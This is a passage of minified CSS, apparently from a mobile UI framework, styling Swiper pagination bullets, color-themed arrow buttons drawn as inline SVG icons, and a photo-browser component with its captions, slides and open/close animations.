.swiper-button-prev{right:10px;left:auto}.swiper-pagination{position:absolute;text-align:center;-webkit-transition:.3s opacity;transition:.3s opacity;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:10}.swiper-pagination.swiper-pagination-hidden{opacity:0}.swiper-container-horizontal>.swiper-pagination-bullets,.swiper-pagination-custom,.swiper-pagination-fraction{bottom:10px;left:0;width:100%}.swiper-pagination-bullets-dynamic{overflow:hidden;font-size:0}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transform:scale(.33);transform:scale(.33);position:relative}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active{-webkit-transform:scale(1);transform:scale(1)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullet{width:8px;height:8px;display:inline-block;border-radius:100%;background:#000;opacity:.2}button.swiper-pagination-bullet{border:none;margin:0;padding:0;-webkit-box-shadow:none;box-shadow:none;-webkit-appearance:none;-moz-appearance:none;appearance:none}.swiper-pagination-clickable .swiper-pagination-bullet{cursor:pointer}.swiper-pagination-bullet-active{opacity:1}.swiper-container-vertical>.swiper-pagination-bullets{right:10px;top:50%;-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.swiper-container-vertical>.swiper-pagination-bullets .swiper-pagination-bullet{margin:6px 0;display:block}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:8px}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{display:inline-block;-webkit-transition:.2s top,.2s -webkit-transform;transition:.2s top,.2s -webkit-transform;transition:.2s transform,.2s top;transition:.2s transform,.2s top,.2s -webkit-transform}.swiper-container-horizontal>.swiper-pagination-bullets .swiper-pagination-bullet{margin:0 4px}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);white-space:nowrap}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transition:.2s left,.2s -webkit-transform;transition:.2s left,.2s -webkit-transform;transition:.2s transform,.2s left;transition:.2s transform,.2s left,.2s -webkit-transform}.swiper-pagination-progressbar{background:rgba(0,0,0,.25);position:absolute}.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:scale(0);transform:scale(0);-webkit-transform-origin:left top;transform-origin:left top}.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{-webkit-transform-origin:right top;transform-origin:right top}.swiper-container-horizontal>.swiper-pagination-progressbar,.swiper-container-vertical>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite{width:100%;height:4px;left:0;top:0}.swiper-container-horizontal>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite,.swiper-container-vertical>.swiper-pagination-progressbar{width:4px;height:100%;left:0;top:0}.swiper-lazy-preloader{position:absolute;left:50%;top:50%;z-index:10}.md .swiper-lazy-preloader{width:32px;height:32px;margin-left:-16px;margin-top:-16px}.md .swiper-button-prev,.md .swiper-container-rtl .swiper-button-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .swiper-button-next,.md .swiper-container-rtl .swiper-button-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .swiper-pagination-bullet-active{background:#2196f3}.md .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#2196f3}.md .color-theme-red .swiper-button-prev,.md .color-theme-red .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-red,.md .swiper-container-rtl .swiper-button-next.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-red .swiper-button-next,.md .color-theme-red .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-red,.md .swiper-container-rtl .swiper-button-prev.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .color-red .swiper-pagination-bullet-active,.md .color-theme-red .swiper-pagination-bullet-active{background:#f44336}.md .color-red .swiper-pagination-progressbar,.md .color-red.swiper-pagination-progressbar,.md .color-theme-red .swiper-pagination-progressbar,.md .color-theme-red.swiper-pagination-progressbar{background:rgba(244,67,54,.25)}.md .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#f44336}.md .color-theme-green .swiper-button-prev,.md .color-theme-green .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-green,.md .swiper-container-rtl .swiper-button-next.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-green .swiper-button-next,.md .color-theme-green .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-green,.md .swiper-container-rtl .swiper-button-prev.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .color-green .swiper-pagination-bullet-active,.md .color-theme-green .swiper-pagination-bullet-active{background:#4caf50}.md .color-green .swiper-pagination-progressbar,.md .color-green.swiper-pagination-progressbar,.md .color-theme-green .swiper-pagination-progressbar,.md .color-theme-green.swiper-pagination-progressbar{background:rgba(76,175,80,.25)}.md .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#4caf50}.md .color-theme-blue .swiper-button-prev,.md .color-theme-blue .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-blue,.md .swiper-container-rtl .swiper-button-next.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-blue .swiper-button-next,.md .color-theme-blue .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-blue,.md .swiper-container-rtl .swiper-button-prev.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .color-blue .swiper-pagination-bullet-active,.md .color-theme-blue .swiper-pagination-bullet-active{background:#2196f3}.md .color-blue .swiper-pagination-progressbar,.md .color-blue.swiper-pagination-progressbar,.md .color-theme-blue .swiper-pagination-progressbar,.md .color-theme-blue.swiper-pagination-progressbar{background:rgba(33,150,243,.25)}.md .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#2196f3}.md .color-theme-pink .swiper-button-prev,.md .color-theme-pink .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-pink,.md .swiper-container-rtl .swiper-button-next.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-pink .swiper-button-next,.md .color-theme-pink .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-pink,.md .swiper-container-rtl .swiper-button-prev.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .color-pink .swiper-pagination-bullet-active,.md .color-theme-pink .swiper-pagination-bullet-active{background:#e91e63}.md .color-pink .swiper-pagination-progressbar,.md .color-pink.swiper-pagination-progressbar,.md .color-theme-pink .swiper-pagination-progressbar,.md .color-theme-pink.swiper-pagination-progressbar{background:rgba(233,30,99,.25)}.md .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#e91e63}.md .color-theme-yellow .swiper-button-prev,.md .color-theme-yellow .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-yellow,.md .swiper-container-rtl .swiper-button-next.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-yellow .swiper-button-next,.md .color-theme-yellow .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-yellow,.md .swiper-container-rtl .swiper-button-prev.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-yellow .swiper-pagination-bullet-active,.md .color-yellow .swiper-pagination-bullet-active{background:#ffeb3b}.md .color-theme-yellow .swiper-pagination-progressbar,.md .color-theme-yellow.swiper-pagination-progressbar,.md .color-yellow .swiper-pagination-progressbar,.md .color-yellow.swiper-pagination-progressbar{background:rgba(255,235,59,.25)}.md .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ffeb3b}.md .color-theme-orange .swiper-button-prev,.md .color-theme-orange .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-orange,.md .swiper-container-rtl .swiper-button-next.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-orange .swiper-button-next,.md .color-theme-orange .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-orange,.md .swiper-container-rtl .swiper-button-prev.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .color-orange .swiper-pagination-bullet-active,.md .color-theme-orange .swiper-pagination-bullet-active{background:#ff9800}.md .color-orange .swiper-pagination-progressbar,.md .color-orange.swiper-pagination-progressbar,.md .color-theme-orange .swiper-pagination-progressbar,.md .color-theme-orange.swiper-pagination-progressbar{background:rgba(255,152,0,.25)}.md .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff9800}.md .color-theme-gray .swiper-button-prev,.md .color-theme-gray .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-gray,.md .swiper-container-rtl .swiper-button-next.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-gray .swiper-button-next,.md .color-theme-gray .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-gray,.md .swiper-container-rtl .swiper-button-prev.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .color-gray .swiper-pagination-bullet-active,.md .color-theme-gray .swiper-pagination-bullet-active{background:#9e9e9e}.md .color-gray .swiper-pagination-progressbar,.md .color-gray.swiper-pagination-progressbar,.md .color-theme-gray .swiper-pagination-progressbar,.md .color-theme-gray.swiper-pagination-progressbar{background:rgba(158,158,158,.25)}.md .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#9e9e9e}.md .color-theme-white .swiper-button-prev,.md .color-theme-white .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-white,.md .swiper-container-rtl .swiper-button-next.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-white .swiper-button-next,.md .color-theme-white .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-white,.md .swiper-container-rtl .swiper-button-prev.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-white .swiper-pagination-bullet-active,.md .color-white .swiper-pagination-bullet-active{background:#fff}.md .color-theme-white .swiper-pagination-progressbar,.md .color-theme-white.swiper-pagination-progressbar,.md .color-white .swiper-pagination-progressbar,.md .color-white.swiper-pagination-progressbar{background:rgba(255,255,255,.25)}.md .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fff}.md .color-theme-black .swiper-button-prev,.md .color-theme-black .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-black,.md .swiper-container-rtl .swiper-button-next.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-black .swiper-button-next,.md .color-theme-black .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-black,.md .swiper-container-rtl .swiper-button-prev.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .color-black .swiper-pagination-bullet-active,.md .color-theme-black .swiper-pagination-bullet-active{background:#000}.md .color-black .swiper-pagination-progressbar,.md .color-black.swiper-pagination-progressbar,.md .color-theme-black .swiper-pagination-progressbar,.md .color-theme-black.swiper-pagination-progressbar{background:rgba(0,0,0,.25)}.md .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#000}.photo-browser{position:absolute;left:0;top:0;width:100%;height:100%;z-index:400}.photo-browser-standalone.modal-in{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-in .4s;animation:photo-browser-in .4s}.photo-browser-standalone.modal-out{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-out .4s;animation:photo-browser-out .4s}.photo-browser-standalone.modal-out.swipe-close-to-bottom,.photo-browser-standalone.modal-out.swipe-close-to-top{-webkit-animation:none;animation:none}.photo-browser-popup.modal-out.swipe-close-to-bottom,.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transition-duration:.3s;transition-duration:.3s}.photo-browser-popup.modal-out.swipe-close-to-bottom{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transform:translate3d(0,-100vh,0);transform:translate3d(0,-100vh,0)}.page.photo-browser-page{background:0 0}.photo-browser-popup{background:0 0}.photo-browser-exposed .navbar,.photo-browser-exposed .toolbar{opacity:0;visibility:hidden;pointer-events:none}.photo-browser-exposed .photo-browser-swiper-container{background:#000}.photo-browser-of{margin:0 5px}.photo-browser-captions{pointer-events:none;position:absolute;left:0;width:100%;bottom:0;z-index:10;opacity:1;-webkit-transition:.4s;transition:.4s}.photo-browser-captions.photo-browser-captions-exposed{opacity:0}.photo-browser-caption{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s;position:absolute;bottom:0;left:0;opacity:0;padding:4px 5px;width:100%;text-align:center;color:#fff;background:rgba(0,0,0,.8)}.photo-browser-caption:empty{display:none}.photo-browser-caption.photo-browser-caption-active{opacity:1}.photo-browser-captions-light .photo-browser-caption{background:rgba(255,255,255,.8);color:#000}.photo-browser-captions-dark .photo-browser-caption{color:#fff}.photo-browser-exposed .photo-browser-caption{color:#fff;background:rgba(0,0,0,.8)}.photo-browser-swiper-container{position:absolute;left:0;top:0;width:100%;height:100%;overflow:hidden;background:#fff;-webkit-transition:.4s;transition:.4s;-webkit-transition-property:background-color;transition-property:background-color}.photo-browser-next.swiper-button-disabled,.photo-browser-prev.swiper-button-disabled{opacity:.3}.photo-browser-slide{width:100%;height:100%;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box}.photo-browser-slide.photo-browser-transitioning{-webkit-transition:.4s;transition:.4s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.photo-browser-slide span.swiper-zoom-container{display:none}.photo-browser-slide img{width:auto;height:auto;max-width:100%;max-height:100%;display:none}.photo-browser-slide.swiper-slide-active span.swiper-zoom-container,.photo-browser-slide.swiper-slide-next span.swiper-zoom-container,.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.photo-browser-slide.swiper-slide-active img,.photo-browser-slide.swiper-slide-next img,.photo-browser-slide.swiper-slide-prev img{display:inline}.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader{display:block}.photo-browser-slide iframe{width:100%;height:100%}.photo-browser-slide .preloader{display:none;position:absolute;width:42px;height:42px;margin-left:-21px;margin-top:-21px;left:50%;top:50%}.photo-browser-dark .photo-browser-swiper-container,.photo-browser-page-dark .photo-browser-swiper-container{background:#000}@-webkit-keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@-webkit-keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}@keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}.md .toolbar~.photo-browser-captions{bottom:48px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.md .toolbar~.photo-browser-captions.photo-browser-captions-exposed{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.md .photo-browser-exposed .toolbar~.photo-browser-captions{-webkit-transform:translate3d(0,48px,0);transform:translate3d(0,48px,0)}.md .photo-browser-page .toolbar{-webkit-transform:none;transform:none}.md .photo-browser-page .navbar,.md .photo-browser-page .toolbar{background:rgba(33,150,243,.95);-webkit-transition:.4s;transition:.4s}.md .photo-browser-dark .navbar,.md .photo-browser-dark .toolbar,.md .photo-browser-page-dark .navbar,.md .photo-browser-page-dark .toolbar{background:rgba(30,30,30,.8)!important;color:#fff}.md .photo-browser-dark .navbar a,.md .photo-browser-dark .toolbar a,.md .photo-browser-page-dark .navbar a,.md .photo-browser-page-dark .toolbar a{color:#fff}.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(244,67,54,.95)}.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(76,175,80,.95)}.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(33,150,243,.95)}.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(233,30,99,.95)}.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(255,235,59,.95)}.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(255,152,0,.95)}.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(158,158,158,.95)}.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-white .photo-browser-page:not(.photo-browser-page-dark) 